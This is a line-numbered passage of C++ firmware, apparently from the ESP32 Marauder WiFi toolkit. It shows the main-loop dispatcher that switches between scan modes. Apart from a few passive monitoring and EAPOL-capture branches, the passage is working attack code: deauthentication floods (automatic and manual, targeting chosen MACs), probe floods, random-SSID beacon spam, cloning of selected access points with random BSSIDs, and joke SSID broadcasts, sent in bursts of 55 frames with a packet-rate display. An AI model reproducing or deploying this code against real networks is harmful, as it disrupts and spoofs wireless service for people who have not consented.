  2674. (currentScanMode == WIFI_SCAN_ALL))
  2675. {
  2676. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2677. {
  2678. initTime = millis();
  2679. channelHop();
  2680. }
  2681. }
  2682. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2683. {
  2684. #ifdef HAS_SCREEN
  2685. #ifndef MARAUDER_MINI
  2686. packetMonitorMain(currentTime);
  2687. #endif
  2688. #endif
  2689. }
  2690. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2691. {
  2692. #ifdef HAS_SCREEN
  2693. #ifndef MARAUDER_MINI
  2694. eapolMonitorMain(currentTime);
  2695. #endif
  2696. #endif
  2697. }
  2698. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2699. {
  2700. #ifdef HAS_SCREEN
  2701. eapolMonitorMain(currentTime);
  2702. #endif
  2703. }
  2704. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2705. for (int i = 0; i < 55; i++)
  2706. this->sendProbeAttack(currentTime);
  2707. if (currentTime - initTime >= 1000) {
  2708. initTime = millis();
  2709. String displayString = "";
  2710. String displayString2 = "";
  2711. displayString.concat(text18);
  2712. displayString.concat(packets_sent);
  2713. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2714. displayString2.concat(" ");
  2715. #ifdef HAS_SCREEN
  2716. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2717. display_obj.showCenterText(displayString2, 160);
  2718. display_obj.showCenterText(displayString, 160);
  2719. #endif
  2720. packets_sent = 0;
  2721. }
  2722. }
  2723. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2724. for (int i = 0; i < 55; i++)
  2725. this->sendDeauthAttack(currentTime, this->dst_mac);
  2726. if (currentTime - initTime >= 1000) {
  2727. initTime = millis();
  2728. String displayString = "";
  2729. String displayString2 = "";
  2730. displayString.concat(text18);
  2731. displayString.concat(packets_sent);
  2732. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2733. displayString2.concat(" ");
  2734. #ifdef HAS_SCREEN
  2735. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2736. display_obj.showCenterText(displayString2, 160);
  2737. display_obj.showCenterText(displayString, 160);
  2738. #endif
  2739. packets_sent = 0;
  2740. }
  2741. }
  2742. else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
  2743. for (int i = 0; i < 55; i++)
  2744. this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
  2745. if (currentTime - initTime >= 1000) {
  2746. initTime = millis();
  2747. String displayString = "";
  2748. String displayString2 = "";
  2749. displayString.concat(text18);
  2750. displayString.concat(packets_sent);
  2751. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2752. displayString2.concat(" ");
  2753. #ifdef HAS_SCREEN
  2754. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2755. display_obj.showCenterText(displayString2, 160);
  2756. display_obj.showCenterText(displayString, 160);
  2757. #endif
  2758. packets_sent = 0;
  2759. }
  2760. }
  2761. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2762. // Need this for loop because getTouch causes ~10ms delay
  2763. // which makes beacon spam less effective
  2764. for (int i = 0; i < access_points->size(); i++) {
  2765. if (access_points->get(i).selected)
  2766. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2767. random(256),
  2768. random(256),
  2769. random(256),
  2770. random(256),
  2771. random(256)}});
  2772. }
  2773. if (currentTime - initTime >= 1000)
  2774. {
  2775. initTime = millis();
  2776. //Serial.print("packets/sec: ");
  2777. //Serial.println(packets_sent);
  2778. String displayString = "";
  2779. String displayString2 = "";
  2780. displayString.concat(text18);
  2781. displayString.concat(packets_sent);
  2782. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2783. displayString2.concat(" ");
  2784. #ifdef HAS_SCREEN
  2785. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2786. display_obj.showCenterText(displayString2, 160);
  2787. display_obj.showCenterText(displayString, 160);
  2788. #endif
  2789. packets_sent = 0;
  2790. }
  2791. }
  2792. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2793. {
  2794. // Need this for loop because getTouch causes ~10ms delay
  2795. // which makes beacon spam less effective
  2796. for (int i = 0; i < 55; i++)
  2797. broadcastRandomSSID(currentTime);
  2798. if (currentTime - initTime >= 1000)
  2799. {
  2800. initTime = millis();
  2801. //Serial.print("packets/sec: ");
  2802. //Serial.println(packets_sent);
  2803. String displayString = "";
  2804. String displayString2 = "";
  2805. displayString.concat(text18);
  2806. displayString.concat(packets_sent);
  2807. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2808. displayString2.concat(" ");
  2809. #ifdef HAS_SCREEN
  2810. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2811. display_obj.showCenterText(displayString2, 160);
  2812. display_obj.showCenterText(displayString, 160);
  2813. #endif
  2814. packets_sent = 0;
  2815. }
  2816. }
  2817. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2818. for (int i = 0; i < ssids->size(); i++)
  2819. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2820. if (currentTime - initTime >= 1000)
  2821. {
  2822. initTime = millis();
  2823. packets_sent = 0;
  2824. }
  2825. }
  2826. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2827. for (int i = 0; i < access_points->size(); i++) {
  2828. if (access_points->get(i).selected)
  2829. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2830. }
  2831. if (currentTime - initTime >= 1000) {
  2832. initTime = millis();
  2833. packets_sent = 0;
  2834. }
  2835. }
  2836. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2837. {
  2838. // Need this for loop because getTouch causes ~10ms delay
  2839. // which makes beacon spam less effective
  2840. for (int i = 0; i < 7; i++)
  2841. {
  2842. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2843. {
  2844. broadcastSetSSID(currentTime, rick_roll[x]);
  2845. }
  2846. }
  2847. if (currentTime - initTime >= 1000)
  2848. {
  2849. initTime = millis();
  2850. //Serial.print("packets/sec: ");
  2851. //Serial.println(packets_sent);
  2852. String displayString = "";
  2853. String displayString2 = "";
  2854. displayString.concat(text18);
  2855. displayString.concat(packets_sent);
  2856. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2857. displayString2.concat(" ");
  2858. #ifdef HAS_SCREEN
  2859. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2860. display_obj.showCenterText(displayString2, 160);
  2861. display_obj.showCenterText(displayString, 160);
  2862. #endif
  2863. packets_sent = 0;
  2864. }
  2865. }
  2866. }